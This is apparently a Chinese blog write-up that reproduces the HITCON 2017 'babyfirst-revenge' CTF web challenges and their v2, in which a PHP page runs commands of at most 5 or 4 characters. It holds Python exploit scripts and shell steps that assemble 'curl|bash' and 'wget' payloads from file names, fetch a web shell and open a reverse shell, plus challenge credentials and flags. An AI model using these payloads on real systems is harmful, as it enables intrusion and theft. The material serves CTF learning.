theKingOfNight's Blog

PHP-HITCON2017-babyfirst-revenge&BabyFirst-Revenge-v2复现

字数统计: 3.1k阅读时长: 15 min
2019/01/19 Share

HITCON2017的题好难,同时对linux一无所知,这里复现哈,而且这里主要参考wp进行慢慢理解题目,学到了好多东西。

babyfirst-revenge

分值:200分 类型:Web题目名称:babyfirst-revenge
hitcon2017丧心病狂的命令执行
http://117.50.3.97:8001

1
2
3
4
5
6
7
8
9
10
<?php
$sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']); //根据用户的ip地址
@mkdir($sandbox);
@chdir($sandbox); //保证每个用户独立,切换到当前路径
if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 5) {
@exec($_GET['cmd']);
} else if (isset($_GET['reset'])) {
@exec('/bin/rm -rf ' . $sandbox);
}
highlight_file(__FILE__);

这里为了方便调试,同时检测文件生成情况,我将代码放在了服务器端,并修改如下

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$sandbox = '/var/www/html/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
echo $sandbox;
mkdir($sandbox);
chdir($sandbox);
if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 5) {
exec($_GET['cmd']);
} else if (isset($_GET['reset'])) {
exec('/bin/rm -rf ' . $sandbox);
}
highlight_file(__FILE__);
?>

这道题用到了linux里面的一个知识点,如下

1
2
3
4
5
6
7
8
root@parrot:ech\
> o th\
> eKin\
> gOfN\
> ight
theKingOfNight
完整的命令为:echo theKingOfNight

可以达到相同的效果。
同时,将关于其他一些文件操作在如下记录

1
2
3
root@VM-0-3-ubuntu:~# >test.php
root@VM-0-3-ubuntu:~# ls
test.php

1
2
3
root@VM-0-3-ubuntu:~# echo "theKingOfNight">test
root@VM-0-3-ubuntu:~# cat test
theKingOfNight
1
2
3
4
5
6
7
root@VM-0-3-ubuntu:~# echo "theKingOfNight">test
root@VM-0-3-ubuntu:~# cat test
theKingOfNight
root@VM-0-3-ubuntu:~# echo "Hello world">> test
root@VM-0-3-ubuntu:~# cat test
theKingOfNight
Hello world

sh命令

1
2
3
4
5
6
7
8
9
root@VM-0-3-ubuntu:~# cat test
ec\
ho \
the\
King\
ofNi\
ght
root@VM-0-3-ubuntu:~# sh test
theKingofNight

ls -t命令
ls -t命令将文件名按照时间顺序(从后向前)列举出来
例如如下例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
root@VM-0-3-ubuntu:~# touch Night
root@VM-0-3-ubuntu:~# touch Of
root@VM-0-3-ubuntu:~# touch King
root@VM-0-3-ubuntu:~# touch the
root@VM-0-3-ubuntu:~# ls -t
the King Of Night
同时,还可以有以下操作
root@VM-0-3-ubuntu:~# ls -t>test
root@VM-0-3-ubuntu:~# cat test
test
the
King
Of
Night
root@VM-0-3-ubuntu:~#

利用ls -t,\,>实现短命令执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
仍然输出echo theKingOfNight
root@VM-0-3-ubuntu:~# >ight
root@VM-0-3-ubuntu:~# >fN\\
root@VM-0-3-ubuntu:~# >gO\\
root@VM-0-3-ubuntu:~# >in\\
root@VM-0-3-ubuntu:~# >eK\\
root@VM-0-3-ubuntu:~# >th\\
root@VM-0-3-ubuntu:~# >\ \\
root@VM-0-3-ubuntu:~# >ho\\
root@VM-0-3-ubuntu:~# >ec\\
root@VM-0-3-ubuntu:~# ls -t>_
root@VM-0-3-ubuntu:~# sh _
_: 1: _: _: not found
theKingOfNight
root@VM-0-3-ubuntu:~# cat _
_
ec\
ho\
\
th\
eK\
in\
gO\
fN\
ight
可以看到这里就成功写入echo theKingOfNight,而且后续只需要调整顺序即可完成命令执行。

1
2
3
4
5
6
7
8
9
10
11
12
13
现在我们想要达到任意命令执行,难点就在于利用ls -t>某一个文件
按如下顺序写完之后,
>ls\\
>\ \\
>-t\\
>\>\\
ls>a
在程序中得到了最为接近的方法a:
\
-t\
>\
a
ls\

经过fuzz之后,只能通过先将ls写入文件中,在进行后续写入
功力不够,有其他想法的大师傅也欢迎提出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
调整为如下方式
>ls\\
ls>a
>\ \\
>-t\\
>\>\\
>ls\\
ls>>a
最终a中的内容:
root@VM-0-3-ubuntu:/var/www/html/sandbox# cat ./81373b7610b65f5646715a102170a987/a
a
ls\
\
-t\
>\
a
ls\
root@VM-0-3-ubuntu:/var/www/html/sandbox/81373b7610b65f5646715a102170a987# sh a
a: 1: a: a: not found
>\ \ a ls\ -t\
root@VM-0-3-ubuntu:/var/www/html/sandbox/81373b7610b65f5646715a102170a987# cat a
a
ls\
\
-t\
>\
最终可以命令执行,第一行会报错,不过不用管,不影响我们正常的使用。

剩下就是老套路命令执行了,最好使用可交互式的反弹shell。这里给出我测试使用的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests
import re
reset_url='http://188.xxx.xxx.xxx/sandbox.php?reset=1'
url_md5=requests.get(reset_url).text
url_md5=str(re.findall(r"/var/www/html/sandbox/(.*?)<code><spa",url_md5))[2:-2]
print(url_md5)
cmd_url='http://188.xxx.xxx.xxx/sandbox.php?cmd='
#ls -t>a
file_1=[">ls\\\\","ls>a",">\\>\\\\",">-t\\\\",">\\ \\\\",">ls\\\\","ls>>a"]
for i in file_1:
temp_url=cmd_url+i
print("Trying :"+temp_url)
requests.get(temp_url)

先写好ls -t>z的文件夹,剩下的自由发挥,剩下的上面已经讲过,这里就不写了()
这里是curl xxx.xx.xxx.xx,直接curl服务器index.html,这里就不叙述了,直接贴脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests
import re
reset_url='http://188.xxx.xxx.xxx/sandbox.php?reset=1'
url_md5=requests.get(reset_url).text
url_md5=str(re.findall(r"/var/www/html/sandbox/(.*?)<code><spa",url_md5))[2:-2]
print(url_md5)
cmd_url='http://188.xxx.xx.xxx/sandbox.php?cmd='
#ls -t>a
file_1=[">ls\\\\","ls>a",">\\>\\\\",">-t\\\\",">\\ \\\\",">ls\\\\","ls>>a"]
for i in file_1:
temp_url=cmd_url+i
print("Trying :"+temp_url)
requests.get(temp_url)
file_2=[">\>1",">x\\",">xx\\",">x.\\",">xx\\",">x.\\",">x\\",">x.\\",">16\\",">\ \\",">et\\",">wg\\"]
for i in file_2:
temp_url=cmd_url+i
print("Trying :"+temp_url)
requests.get(temp_url)
cmd_url=cmd_url+"sh a"
requests.get(cmd_url)
requests.get(cmd_url)

这样就可以从md5目录下的index.html可以获取到一句话木马
ichunq这里的题目好像计算出来的md5于正常的不同就需要直接使用bash交互后续测试的时候有时候好使
最后这里给出交互式getshell的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import requests
import re
reset_url='http://188.xxx.xxx.xxx.xxx/sandbox.php?reset=1'
url_md5=requests.get(reset_url).text
url_md5=str(re.findall(r"/var/www/html/sandbox/(.*?)<code><spa",url_md5))[2:-2]
print(url_md5)
cmd_url='http://117.50.3.97:8001/?reset=1'
requests.get(cmd_url)
cmd_url='http://117.50.3.97:8001/?cmd='
#ls -t>a
file_1=[">ls\\\\","ls>a",">\\>\\\\",">-t\\\\",">\\ \\\\",">ls\\\\","ls>>a"]
for i in file_1:
temp_url=cmd_url+i
print("Trying :"+temp_url)
requests.get(temp_url)
file_2=[">sh",">ba\\",">\|\\",">x\\",">xx\\",">x.\\",">xx\\",">x.\\",">x\\",">x.\\",">1x\\",">\ \\",">rl\\",">cu\\"]
for i in file_2:
temp_url=cmd_url+i
print("Trying :"+temp_url)
requests.get(temp_url)
temp_url=cmd_url+"sh a"
print(temp_url)
requests.get(temp_url)
requests.get(temp_url)

不知道为什么wget|bash不可以getshell,curl才可以,本地测试也是curl可以bash,wget不可以,这些方面的骚利用方式还得多多总结,对原理理解的还是不够时刻,如果有大师傅有想法,可以多多交流

1
2
3
4
5
6
7
8
9
10
11
www-data@cfb3b967da33:/www/sandbox/3b16ddce4e63e1f1a70a193db38cdbd7$ cd ..
cd ..
www-data@cfb3b967da33:/www/sandbox$ pwd
pwd
/www/sandbox
www-data@cfb3b967da33:/www/sandbox$ ls
ls
36081bce7acc2a5cad1beb4600e6753f
3b16ddce4e63e1f1a70a193db38cdbd7
584b5bd71048f3447e46b6d9c476d7f2
www-data@cfb3b967da33:/www/sandbox$

这就需要找flag了

1
2
3
www-data@cfb3b967da33:/home$ ls
ls
fl4444g

1
2
3
4
www-data@cfb3b967da33:/home/fl4444g$ cat README.txt
cat README.txt
Flag is in the MySQL database
fl4444g / SugZXUtgeJ52_Bvr
1
2
3
www-data@cfb3b967da33:/home/fl4444g$ mysql -u fl4444g -p
mysql -u fl4444g -p
Enter password: SugZXUtgeJ52_Bvr
1
2
3
4
5
6
7
show databases;
Database
information_schema
fl4gdb
use fl4db
ERROR 1044 (42000) at line 1: Access denied for user 'fl4444g'@'localhost' to database 'fl4db'

然后这个好像凉了,更有可能是因为技术问题…..
后续搜索其他大师傅的wp时,发现这个mysql是不可交互的,学到了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
www-data@cfb3b967da33:/$ mysql -ufl4444g -pSugZXUtgeJ52_Bvr -e "show databases;"
<sql -ufl4444g -pSugZXUtgeJ52_Bvr -e "show databases;"
mysql: [Warning] Using a password on the command line interface can be insecure.
Database
information_schema
fl4gdb
www-data@cfb3b967da33:/$ mysql -ufl4444g -pSugZXUtgeJ52_Bvr -e "use fl4gdb; show tables;"
<sql -ufl4444g -pSugZXUtgeJ52_Bvr -e "use fl4gdb; show tables;"
mysql: [Warning] Using a password on the command line interface can be insecure.
Tables_in_fl4gdb
Tables_in_fl4gdb
this_is_the_fl4g
www-data@cfb3b967da33:/$ mysql -ufl4444g -pSugZXUtgeJ52_Bvr -e "use fl4gdb; select * from this_is_the_fl4g;"
<52_Bvr -e "use fl4gdb; select * from this_is_the_fl4g;"
mysql: [Warning] Using a password on the command line interface can be insecure.
secret
flag{konw_it_then_do_it_^V^}


这里再给出收集的其他大师傅的思路

1
2
curl xx.xx.xx.xx|python
python 反弹shell

1pwnch’s

1
2
curl -o 1.php xxx.xxx.xxx
caidao:1.php?x=

Bendawang中的几种思路
值得学习,还是自己的眼界太窄

1
2
3
4
5
6
7
8
9
10
然后是另外一种思路,直接用ls,然后构造出字典序出来
这就需要特殊一点的域名了,
就可以不用那么繁琐的一堆东西,就能直接构造出了:
>cur\
>l\+\
>opq\
>y.x\
>y\
>z\>\
>zz\

image

infosec

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
还有一种方法是利用了*的方法
例如
root@DESKTOP-OK4MI4D:~# mkdir temp
root@DESKTOP-OK4MI4D:~/temp# >ls
root@DESKTOP-OK4MI4D:~/temp# >-t
root@DESKTOP-OK4MI4D:~/temp# ls
ls -t
root@DESKTOP-OK4MI4D:~/temp# *
-t ls
这里是按照字母顺序进行命令执行,也就是默认ls的输出顺序来执行
-----------------
这里给出infosec的payload
http://172.17.0.2/?reset=1
http://172.17.0.2/?cmd=>tar
http://172.17.0.2/?cmd=>vcf
http://172.17.0.2/?cmd=>zzz
http://172.17.0.2/?cmd=*%20/h*
这里他(她)首先创建了tar,vcf,zzz三个文件夹,然后直接将/home目录进行打包,然后访问下载(太黑客了)
不过我们知道/home只有提示flag的东西,flag在数据库中,那么我们该怎么办呢。
-------------------
这位大师傅接下来有如下payload
curl 'http://172.17.0.2/?reset=1'
curl 'http://172.17.0.2/?cmd=>tar'
curl 'http://172.17.0.2/?cmd=>vcf'
curl 'http://172.17.0.2/?cmd=>z'
curl -F file=@exploit.php -X POST 'http://172.17.0.2'/?cmd=* /t*'
curl 'http://172.17.0.2/?cmd=php z'
这位带哥的解释如下
What it does is prepare a local file “exploit.php” which contains
PHP code to run mysqldump and write the output to our sandbox
folder. The --single-transaction parameter is important, without
it the mysqldump will not complete due to missing permissions.
前面的都一样,第五行是上传了本地的一个exploit.php,然后打包/t*(/tmp里面包含exploit.php)到文件z,然后再使用php执行z,getshell。
This creates an uncompressed file “z” with all the contents of
/tmp including our exploit which we POST’ed with that same
request. After that with php z this tar file is executed. PHP will
happily skip over all the binary parts and execute the PHP
payload.
--------
也就是说上传的文件首先会保存在/tmp目录下。
--------
测试时在ichunq这里发现了db.txt,直接在里面搜就好
www-data@cfb3b967da33:/tmp$ ls
ls
a.sql
db.txt
www-data@cfb3b967da33:/tmp$ cat db.txt|grep 'flag{'
cat db.txt|grep 'flag{'
INSERT INTO `this_is_the_fl4g` VALUES ('flag{Known_it_then_do_it}');

不过为什么可以成功上传保存到tmp我还是迷茫,待日后修炼再解决,有知道的大师傅也欢迎交流
今天才发现/目录只有home h,tmp t开头
不过ichunqiu这边好像无法访问这个文件,反弹shell之后是可以执行的,本地服务器测试成功
很开眼界了。

在这里学习到了lsof

1
2
更多详情可以参考这里http://linux.51yip.com/search/lsof
就是可以列出当前系统打开的文件

chybeta

1
2
3
他这里刚开始也是构造ls -t>q
之后将ip转换为十进制,这样就不需要考虑小数点了
wget 2077173*48

王一航

1
2
3
4
mysqldump: Got error: 1044: Access denied for user
'fl4444g'@'%' to database 'fl4gdb' when using LOCK TABLES
-----
$ mysqldump --single-transaction -u user -p DBNAME > backup.sql


BabyFirst Revenge v2

1
2
3
4
5
6
7
8
9
10
<?php
$sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 4) {
@exec($_GET['cmd']);
} else if (isset($_GET['reset'])) {
@exec('/bin/rm -rf ' . $sandbox);
}
highlight_file(__FILE__);

这道题就更难了,相比上一道这里长度限制为了4
这里利用了两个考点,和rev
**
默认会执行第一文件命令 rev逆向命令的结果或文件内容**

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
root@VM-0-3-ubuntu:/var/www/html/sandbox# >dir
root@VM-0-3-ubuntu:/var/www/html/sandbox# >sl
root@VM-0-3-ubuntu:/var/www/html/sandbox# >g\>
root@VM-0-3-ubuntu:/var/www/html/sandbox# >ht-
root@VM-0-3-ubuntu:/var/www/html/sandbox# ls
dir g> ht- sl
root@VM-0-3-ubuntu:/var/www/html/sandbox# *
g> ht- sl
root@VM-0-3-ubuntu:/var/www/html/sandbox# *>v
root@VM-0-3-ubuntu:/var/www/html/sandbox# cat v
g> ht- sl
root@VM-0-3-ubuntu:/var/www/html/sandbox# >rev
root@VM-0-3-ubuntu:/var/www/html/sandbox# *v>x
root@VM-0-3-ubuntu:/var/www/html/sandbox# cat x
ls -th >g

这里的*v>x先匹配到了rev,再匹配到了v(g> ht- sl),然后将结果输出到文件x中

1
rev v>x

剩下的与前面差不多,这里就不写了。

1
2
3
4
5
6
www-data@483e020e7332:/tmp$ ls
ls
s.sql
www-data@483e020e7332:/tmp$ cat s.sql|grep 'flag{'
cat s.sql|grep 'flag{'
INSERT INTO `this_is_the_fl4g` VALUES ('flag{Know_it_then_do_it_^V^}');

这个级别的比赛虽然打不动,但是复现一遍学到了好多东西
其中有部分本菜的理解,如有理解不到位的地方欢迎各位师傅提点。

#参考
http://www.bendawang.site/2017/11/15/Hitcon2017-Web-Writeup/
http://blog.kaibro.tw/2017/11/07/HITCON-CTF%E5%88%9D%E8%B3%BD/
https://chybeta.github.io/2017/11/04/HITCON-CTF-2017-BabyFirst-Revenge-writeup/
https://www.jianshu.com/p/82788b6949c7

CATALOG
  1. 1. babyfirst-revenge
  2. 2. BabyFirst Revenge v2